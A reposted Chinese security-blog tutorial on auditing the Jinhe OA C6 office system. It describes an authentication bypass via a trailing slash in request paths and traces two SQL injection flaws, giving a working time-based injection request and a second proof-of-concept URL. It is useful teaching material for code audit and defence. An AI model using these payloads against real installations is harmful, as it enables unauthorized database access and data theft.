手把手教你审计金和OA系统漏洞

admin 2025年2月12日09:20:06评论35 views字数 2046阅读6分49秒阅读模式

手把手教你审计金和OA系统漏洞

金和OA C6系统是一款功能强大、应用广泛的协同管理平台。主要是由CSharp开发,打包成dll文件。在审计源码时候要使用dnspy之类的工具反编译源码进行审计。

贴一张我之前的CNVD代码审计提交成果

手把手教你审计金和OA系统漏洞
手把手教你审计金和OA系统漏洞
这里随口唠叨一句,金和OA已经是非常古老的产物了,在我实习时就误打误撞拿到了备份的源码开启了我审计之旅,如今几年过去了金和OA无愧是代码审计的入门OA系统
金和OA的源码和我对其代码审计的记录文档,已经放在团队的最新Freebuf知识大陆中,只是个红队内部小圈子
手把手教你审计金和OA系统漏洞
手把手教你审计金和OA系统漏洞
审计步骤文档和源码都已公开在知识大陆中
从头开始,审计开始先要弄清楚入口在哪里
手把手教你审计金和OA系统漏洞
登录页面路由为
/c6/Jhsoft.Web.login/PassWordSlide.aspx
找到对应的dll文件
手把手教你审计金和OA系统漏洞
反编译一下能找到PassWordSlide
手把手教你审计金和OA系统漏洞
说明它的路由规则是/c6/+dll的文件名称+方法名称.aspx
而且能访问到的也只是带有JHSoft.Web前缀的dll文件中的方法
有没有办法能绕过鉴权访问到不同文件里面的方法呢?办法是有的
手把手教你审计金和OA系统漏洞
文章 - .NET 某和OA办公系统全局绕过漏洞分析 - 先知社区

https://xz.aliyun.com/news/13954
就像用友OA能用/~访问到任意的servlet方法,用com.ufida.web.action.ActionServlet方法能访问到任意的Action方法一样,金和OA也存在自身的逻辑漏洞,使用/就能达到访问任意方法的目的,甚至在后期修复时也没有完全解决这个问题,POST方法时用/.ashx仍能造成逻辑问题
简单来审计一个SQL注入漏洞吧

JHSoft.Web.IncentivePlan.dll文件中的IncentivePlanFulfill方法如下

手把手教你审计金和OA系统漏洞
手把手教你审计金和OA系统漏洞
手把手教你审计金和OA系统漏洞

其中IncentiveID一路追踪,最后直接拼接到了SQL语句中执行,造成SQL注入漏洞,很简单对吧,金和OA大大小小的SQL注入都差不多

知道使用/能绕过权限验证,可以构造如下的POC

GET/C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1HTTP/1.1Host: your-ipUser-Agent: User-Agent: Mozilla/5.0 (WindowsNT10.0Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests1

验证一下延时注入了5秒

手把手教你审计金和OA系统漏洞

当然金和OA中也有不依赖逻辑漏洞的名副其实的漏洞

路径如

/c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo

HomeService为Webservice文件

手把手教你审计金和OA系统漏洞

jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo方法中,GetQuickUserInfo查询userID

手把手教你审计金和OA系统漏洞
手把手教你审计金和OA系统漏洞

来到抽象类ExecProcReDataTable继续追踪

手把手教你审计金和OA系统漏洞

进入quickUserInfo判断条件

由于quickUserInfo数组并不存在PhotoURL参数,text为空,进入判断MapAndFindFilebyRelativeFilePath方法

手把手教你审计金和OA系统漏洞

判断为false,text设为空,释放类quickUserInfo

手把手教你审计金和OA系统漏洞

text为空进入条件string userSex = GetUserSex(userID);

此处就可以看到userId拼接进了SQL语句中进行处理,造成了SQL注入

string queryString = "select DossValue from dossiervalue a left join users b on a.RegCode=b.userid where a.DossierFieldID='3' and b.userid='" + userId + "'";
手把手教你审计金和OA系统漏洞

最后poc也能知道了:

http://XXXX/c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=payload
 

原文始发于微信公众号(Code4th安全团队):手把手教你审计金和OA系统漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月12日09:20:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   手把手教你审计金和OA系统漏洞https://cn-sec.com/archives/3730024.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息